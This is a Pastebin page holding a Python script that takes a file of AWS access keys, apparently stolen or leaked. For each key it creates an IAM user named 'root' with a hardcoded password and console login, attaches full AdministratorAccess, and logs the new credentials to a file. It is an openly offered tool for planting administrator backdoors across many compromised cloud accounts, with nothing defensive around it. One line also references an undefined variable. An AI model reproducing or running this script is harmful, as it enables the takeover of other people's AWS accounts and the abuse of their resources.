Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import boto3
- import multiprocessing as mp
- username = 'root'
- password = 'Peler12@'
- def create_user(aws_key):
- try:
- access_key, secret_key, region = aws_key.split('|')
- client = boto3.client('iam', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name='us-east-1')
- response = client.create_user(UserName=username)
- arn = response['User']['Arn']
- client.create_login_profile(UserName=username, Password=password)
- client.attach_user_policy(UserName=username, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
- with open('console.txt', 'a') as f:
- f.write(f'IAM Console: {arn}\nUsername: {username}\nPassword: {password}\nKEY : {KEYS}\n')
- except Exception as e:
- pass
- def main():
- keys = open(input('Keys ? '), 'r').read().splitlines()
- pool = mp.Pool(mp.cpu_count())
- pool.map(create_user, keys)
- pool.close()
- pool.join()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement